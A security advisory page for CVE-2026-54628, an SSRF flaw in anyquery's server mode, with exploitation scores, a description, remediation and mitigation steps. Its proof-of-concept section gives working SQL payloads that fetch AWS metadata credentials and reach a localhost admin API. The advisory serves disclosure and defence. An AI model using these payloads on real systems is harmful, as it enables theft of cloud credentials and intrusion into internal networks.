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HIGH severity

CVE-2026-54628 — anyquery

HIGHFix: julien040/anyquery@27f84fc

CVE-2026-54628 is a high-severity (CVSS 8.6) CWE-284 vulnerability in github.com/julien040/anyquery. No vendor fix is recorded yet; mitigation options are listed below.

Anyquery: Server-Side Request Forgery (SSRF) via Unrestricted SQLite Virtual Table Modules in Server Mode

Also known asGHSA-hwrq-8wxh-q4xvGO-2026-5988
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Oct 13, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54628.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-54628 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/julien040/anyquery

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Anyquery's server mode does not restrict outbound HTTP requests initiated by its built-in SQLite virtual table modules (e.g., json_reader, log_reader). Unauthenticated attackers connecting to the MySQL-compatible server port can create virtual tables pointing to internal network endpoints or Cloud Metadata IPs (e.g., http://169.254.169.254/latest/meta-data/). This allows attackers to perform Server-Side Request Forgery (SSRF), bypassing external firewalls to scan internal ports and exfiltrate cloud credentials.

Details

When Anyquery is launched in Server Mode (anyquery server), it binds to a TCP port and accepts MySQL protocol connections. The server handler allows the creation of dynamic virtual tables using modules like json_reader or log_reader, which internally use go-getter to fetch URLs. There is no protection mechanism to prevent fetches to local (127.0.0.0/8), private (10.0.0.0/8), or special (169.254.169.254) IP addresses.

An attacker can use this to map internal networks, interact with internal APIs, or steal IAM tokens from cloud metadata servers by fetching the data and reading it as a database table.

PoC (Proof of Concept)

  1. Start the server on the victim machine (e.g., an AWS EC2 instance):
    anyquery server --host 0.0.0.0 --port 8070
    
  2. Connect from an attacker machine:
    mysql -u root -h <VICTIM_IP> -P 8070
    
  3. Execute the payload to fetch AWS Metadata or hit a local API:
    -- Payload 1: Fetch AWS Cloud Metadata (IAM credentials)
    CREATE VIRTUAL TABLE aws_meta USING log_reader('http://169.254.169.254/latest/meta-data/');
    SELECT * FROM aws_meta;
    
    -- Payload 2: Access an internal application bound only to localhost
    CREATE VIRTUAL TABLE local_admin USING log_reader('http://localhost:8000/admin');
    SELECT * FROM local_admin LIMIT 10;
    

Impact

  • Confidentiality: High. Exfiltration of sensitive internal network data or cloud credentials.
  • Integrity: Low. Possible interaction with state-changing internal REST APIs.
  • Availability: None.
  • CVSS Score: 8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Remediation

By default, in Server Mode, remote HTTP fetches to local/private IP ranges and known Cloud Metadata IP addresses should be blocked unless explicitly enabled via configuration.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/julien040/anyqueryall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/julien040/anyquery, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/julien040/anyquery has shipped for CVE-2026-54628 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary Anyquery's `server` mode does not restrict outbound HTTP requests initiated by its built-in SQLite virtual table modules (e.g., `json_reader`, `log_reader`). Unauthenticated attackers connecting to the MySQL-compatible server port can create virtual tables pointing to internal network endpoints or Cloud Metadata IPs (e.g., `http://169.254.169.254/latest/meta-data/`). This allows attackers to perform Server-Side Request Forgery (SSRF), bypassing external firewalls to scan internal ports and exfiltrate cloud credentials. ## Details When Anyquery is launched in **Server Mode** (`anyqu
O3 Security · Impact-Aware SCA

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CVE-2026-54628: anyquery SSRF (High 8.6)